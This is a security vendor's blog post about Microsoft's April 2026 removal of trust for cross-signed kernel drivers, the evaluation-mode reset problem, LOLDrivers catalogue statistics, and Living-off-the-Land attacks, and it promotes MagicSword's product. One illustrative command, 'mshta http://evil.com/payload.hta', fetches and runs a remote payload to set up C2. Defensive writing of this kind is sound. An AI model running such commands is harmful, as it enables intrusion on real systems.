Microsoft Is Killing Cross-Signed Drivers. So Malicious Drivers Are Done... Right?

Microsoft is removing trust for cross-signed kernel drivers starting April 2026. That’s a big deal: 81.7% of drivers in the LOLDrivers catalog are cross-signed. But enforcement isn’t immediate, systems enter an evaluation mode that resets if even one legacy driver fails the check, meaning many orgs may never actually reach enforcement. On top of that, Living Off the Land attacks (LOLBins, LOLRMM) are completely unaffected by this change, which is why Living off the Land attack prevention remains critical. MagicSword helps you identify which drivers are stalling enforcement, block known-bad drivers now, and prevent the LOL-style attacks that driver trust policies were never designed to stop.

On March 26, Microsoft announced they're removing trust for all kernel drivers signed through the deprecated cross-signed root program. Starting with the April 2026 Windows update, only drivers that have passed the Windows Hardware Compatibility Program (WHCP), or are on Microsoft's curated allow list, will load by default on Windows 11 24H2+ and Windows Server 2025.

This is a meaningful step forward. Full stop. Credit where it's due: Microsoft is closing a door that's been propped open since the early 2000s, when third-party certificate authorities could hand out kernel-mode signing certificates with minimal vetting and zero assurance around the security of the code being signed. That program was deprecated in 2021. Every certificate has since expired.

But expired doesn't mean gone. Microsoft can't simply revoke these certificates as doing so would break millions of legitimate legacy drivers that enterprises still depend on for hardware compatibility, industrial control systems, and line-of-business applications. The certificates are expired, but Windows still trusts them for kernel loading. That's the gap.

And attackers know it. The Scattered Spider group used cross-signed certificates to load POORTRY, a custom kernel driver designed to kill EDR processes, a classic BYOVD (Bring Your Own Vulnerable Driver) attack technique deployed during high-profile casino breaches in 2023. Cuba ransomware operators obtained legitimate code-signing certificates to sign their own kernel drivers and disable security tools. BlackByte ransomware has been abusing RTCore64.sys, a vulnerable MSI Afterburner driver, to bypass HVCI and disable kernel callbacks.

The question is: does this actually solve the malicious driver problem?

We went and found out.

What the LOLDrivers Data Tells Us

The LOLDrivers project, which we maintain, catalogs vulnerable and malicious drivers that attackers actively abuse. It's the most comprehensive public dataset of its kind: 509 driver entries containing 1,983 individual driver samples. These are system drivers found in real intrusions, used by real threat actors, to kill EDR, escalate privileges, and establish persistent kernel-level access - living off the land.

Here's where it gets interesting.

81.7% of all LOLDrivers samples - 1,620 out of 1,983 are signed by third-party certificate authorities that participated in the cross-signing program. VeriSign/Symantec accounts for 1,045 samples alone. GlobalSign: 412. DigiCert: 287. Only 6% of samples carry WHCP-only (Microsoft attestation) signatures.

In theory, Microsoft's new kernel trust policy should neutralize the vast majority of the LOLDrivers catalog on enforced systems. That's 1,620 known-abused driver samples that would fail to load once enforcement is active.

On paper, that's a massive win for defenders. But paper and production are two different things.

The Catch: Evaluation Mode and the Reset Loop

Here's the part of the announcement that should have every defender reading the fine print:

"If any cross-signed drivers are audited during the evaluation period and determined they would not pass the new kernel trust policy, the policy is not activated and remains in evaluation, and the evaluation period is reset. The system stays in evaluation mode until the drivers blocking enablement are no longer audited."

Re-read that slower again and let it sink in.

When systems receive the April 2026 update, they don't jump straight into enforcement. They enter evaluation mode. The kernel monitors driver loads for 100 hours across 3 boot sessions (2 on Server). If every driver that loads during that window is compliant, enforcement activates. If even one non-compliant cross-signed driver loads a single legacy driver from a peripheral manufacturer, a niche industrial control driver, or an old printer driver, the evaluation period resets entirely. The system stays in audit mode, old drivers keep loading, and protection never activates.

Microsoft designed it this way on purpose, they can’t brick enterprise fleets overnight, and compatibility has to come first. But the practical reality is that any organization running even one non-compliant legacy driver can remain in evaluation mode indefinitely. The only workaround is deploying Custom Kernel Signers, which requires Secure Boot PK/KEK ownership and a clean OS install, something that’s simply not going to happen across most enterprise environments with thousands of endpoints, diverse hardware, and IT teams already stretched thin.

For large enterprises with diverse hardware fleets and legacy dependencies? That single legacy driver is almost guaranteed.

The Numbers Behind the Exposure

Let's put this in perspective with the LOLDrivers data:

That last number is the one that matters most. Threat actors aren't picking drivers randomly. They're specifically selecting drivers that evade existing protections. Nearly half of all malicious driver samples in the LOLDrivers catalog bypass HVCI. Attackers choose their tools deliberately, they know which drivers will load, on which configurations, with which protections enabled.

And here's the kicker: if enforcement never activates because of a single legacy driver in evaluation mode, all 1,620 cross-signed samples remain loadable. The protection exists on paper but not on the endpoint.

What This Doesn't Touch: Living Off the Land

Even on systems where enforcement does activate, there's a class of attack that Microsoft's kernel trust policy doesn't address at all: Living Off the Land.

Blocking cross-signed drivers stops untrusted code from reaching the kernel. Good. But the most common attack techniques today don’t involve loading custom drivers at all, attackers abuse what’s already on the machine. Signed Microsoft binaries. Native scripting engines. Tools that ship with every copy of Windows.

The 2026 CrowdStrike Global Threat Report found that 82% of initial access intrusions were malware-free, reinforcing the importance of malware-free attack prevention strategies.The Red Canary Threat Detection Report consistently shows the same LOLBins at the top of the charts year after year - `certutil`, `mshta`, `wscript.exe`, `regsvr32`, `rundll32`. Because they are native to the operating system, they are not going anywhere.

Microsoft's driver trust update does nothing for these. Enforcement mode doesn't evaluate whether `certutil` is downloading a payload or `mshta` is executing an HTA from a remote server. That's not what it's designed to do. But these are the techniques that land ransomware, establish C2, and exfiltrate data in the real world.

Blocking malicious drivers is one layer. Blocking the abuse of legitimate tools is another.

Defenders need both.

Where MagicSword Fits

Malicious Drivers - Don’t Wait for Enforcement

MagicSword integrates the LOLDrivers intelligence feed directly into its application control policies. For organizations stuck in evaluation mode, there will be many, you get immediate visibility into which cross-signed drivers are loading on your endpoints, which ones are in the LOLDrivers catalog, and which ones are blocking Microsoft’s enforcement from ever activating.

You don’t have to wait for the evaluation period to complete. You don’t have to hope your fleet is clean. You can see it, and you can block known-malicious drivers now.

Example: An endpoint loads RTCore64.sys (the MSI Afterburner driver abused by BlackByte ransomware). Microsoft’s evaluation mode would flag it, but the evaluation clock resets and enforcement never activates because a legacy printer driver is also loaded. MagicSword blocks RTCore64.sys on day one, evaluation mode or not.

Living Off the Land - Block What Microsoft Won’t

MagicSword’s threat-informed policies don’t just block unauthorized executables , they block the abuse of authorized ones. The tools attackers depend on, the LOLBins, the LOLDrivers, the LOLRMM tools, are cataloged, tracked, and blocked at execution time. Not detected after the fact. Blocked before they run through execution control policies.

Detection tells you an attacker used certutil to download a payload, after the payload is on disk. Prevention stops certutil from executing the download in the first place.

Example: An attacker lands on an endpoint and runs mshta http://evil.com/payload.hta to establish C2. No malware was dropped, no driver was loaded, and Microsoft’s kernel trust policy has nothing to say about it. MagicSword’s policy blocks mshta from executing the remote HTA before the connection is ever made.

The Audit Gap - See What’s Stalling Enforcement

For organizations evaluating Microsoft’s new driver policy, MagicSword identifies exactly which drivers are generating Event ID 3076 (audit blocks) in your CodeIntegrity logs, the events that silently reset your evaluation clock and keep enforcement from activating.

That visibility lets you make informed decisions: update the driver, replace the hardware, contact the vendor for WHCP certification, or deploy a Windows Defender Application Control (WDAC) policy to handle it.

Example: Your fleet has 2,000 endpoints. Microsoft’s evaluation mode is running, but you have no idea which machines have legacy drivers blocking enforcement. MagicSword surfaces the specific drivers generating 3076 events across your fleet, so you know exactly where to focus, instead of flying blind, waiting for enforcement that may never come.

The Land Is Not Clear

Microsoft deserves credit for this move. Removing trust for cross-signed drivers addresses a real, documented attack surface, one that accounts for 81.7% of the LOLDrivers catalog. That's significant.

But enforcement depends on evaluation mode completing cleanly. One legacy driver resets the clock. HVCI doesn't catch everything, 421 known-bad samples still load with it enabled. And the entire Living Off the Land attack surface is untouched.

The attacker landing on your endpoint tomorrow isn't going to wait for your evaluation period to finish.

The cross-signed driver problem is real, and Microsoft is addressing it. But the attack surface is wider than drivers, and real endpoint attack surface reduction requires more than kernel trust policies. It includes every signed binary, every scripting engine, every remote management tool that ships with or gets installed on Windows. That's the land that still needs to be tilled. And that's where MagicSword helps organizations reduce the attack surface and stop threats, not someday when enforcement activates, but now.

Want to keep up with how modern attacks actually work? Subscribe to the MagicSword newsletter for practical research, real-world attack tradecraft, and prevention-focused intelligence.

Ready to see what's actually running on your endpoints? MagicSword is free for up to 100 endpoints, no strings attached, no credit card, no trial expiration. Deploy in audit mode, see what's loading, and start blocking what shouldn't be. Sign up free and get protected today.